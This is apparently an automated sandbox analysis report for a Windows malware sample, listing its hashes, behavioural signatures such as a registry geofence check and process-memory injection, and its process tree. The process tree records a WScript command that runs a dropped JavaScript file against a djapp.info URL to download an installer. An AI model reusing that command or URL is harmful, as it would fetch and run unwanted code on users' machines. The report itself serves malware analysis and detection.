Analysis
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max time kernel
134s -
max time network
103s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
21-05-2024 20:56
Static task
static1
Behavioral task
behavioral1
Sample
64bde517250cb578b11f339c51013ded_JaffaCakes118.exe
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
64bde517250cb578b11f339c51013ded_JaffaCakes118.exe
Resource
win10v2004-20240426-en
General
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Target
64bde517250cb578b11f339c51013ded_JaffaCakes118.exe
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Size
184KB
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MD5
64bde517250cb578b11f339c51013ded
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SHA1
51090b7583df204306f12de1db735856ac2a23d7
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SHA256
0d6a6a75e7d15b9ca17082dbfe2fa6a321bb9b08963928d7bf07155ac814ecb2
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SHA512
16585e4565f419400ba7f1218e807115878507622f4ebff76fd5a1620e9352211d85c1d08780fb74e89ddfe545f9e6e7d64b539cedc98cf3db975d7d36e10fa3
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3S:/7BSH8zUB+nGESaaRvoB7FJNndnD
Malware Config
Signatures
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Blocklisted process makes network request 5 IoCs
Processes:
WScript.exeWScript.exeWScript.exeWScript.exeWScript.exeflow pid process 5 4644 WScript.exe 38 3540 WScript.exe 40 4444 WScript.exe 52 1440 WScript.exe 54 4740 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
64bde517250cb578b11f339c51013ded_JaffaCakes118.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation 64bde517250cb578b11f339c51013ded_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
Processes:
64bde517250cb578b11f339c51013ded_JaffaCakes118.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings 64bde517250cb578b11f339c51013ded_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
64bde517250cb578b11f339c51013ded_JaffaCakes118.exedescription pid process target process PID 4296 wrote to memory of 4644 4296 64bde517250cb578b11f339c51013ded_JaffaCakes118.exe WScript.exe PID 4296 wrote to memory of 4644 4296 64bde517250cb578b11f339c51013ded_JaffaCakes118.exe WScript.exe PID 4296 wrote to memory of 4644 4296 64bde517250cb578b11f339c51013ded_JaffaCakes118.exe WScript.exe PID 4296 wrote to memory of 3540 4296 64bde517250cb578b11f339c51013ded_JaffaCakes118.exe WScript.exe PID 4296 wrote to memory of 3540 4296 64bde517250cb578b11f339c51013ded_JaffaCakes118.exe WScript.exe PID 4296 wrote to memory of 3540 4296 64bde517250cb578b11f339c51013ded_JaffaCakes118.exe WScript.exe PID 4296 wrote to memory of 4444 4296 64bde517250cb578b11f339c51013ded_JaffaCakes118.exe WScript.exe PID 4296 wrote to memory of 4444 4296 64bde517250cb578b11f339c51013ded_JaffaCakes118.exe WScript.exe PID 4296 wrote to memory of 4444 4296 64bde517250cb578b11f339c51013ded_JaffaCakes118.exe WScript.exe PID 4296 wrote to memory of 1440 4296 64bde517250cb578b11f339c51013ded_JaffaCakes118.exe WScript.exe PID 4296 wrote to memory of 1440 4296 64bde517250cb578b11f339c51013ded_JaffaCakes118.exe WScript.exe PID 4296 wrote to memory of 1440 4296 64bde517250cb578b11f339c51013ded_JaffaCakes118.exe WScript.exe PID 4296 wrote to memory of 4740 4296 64bde517250cb578b11f339c51013ded_JaffaCakes118.exe WScript.exe PID 4296 wrote to memory of 4740 4296 64bde517250cb578b11f339c51013ded_JaffaCakes118.exe WScript.exe PID 4296 wrote to memory of 4740 4296 64bde517250cb578b11f339c51013ded_JaffaCakes118.exe WScript.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\64bde517250cb578b11f339c51013ded_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\64bde517250cb578b11f339c51013ded_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3C4D.js" http://www.djapp.info/?domain=iLJksyMiJK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3C4D.exe2⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3C4D.js" http://www.djapp.info/?domain=iLJksyMiJK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3C4D.exe2⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3C4D.js" http://www.djapp.info/?domain=iLJksyMiJK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3C4D.exe2⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3C4D.js" http://www.djapp.info/?domain=iLJksyMiJK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3C4D.exe2⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3C4D.js" http://www.djapp.info/?domain=iLJksyMiJK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3C4D.exe2⤵
- Blocklisted process makes network request
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\fuf3C4D.jsFilesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76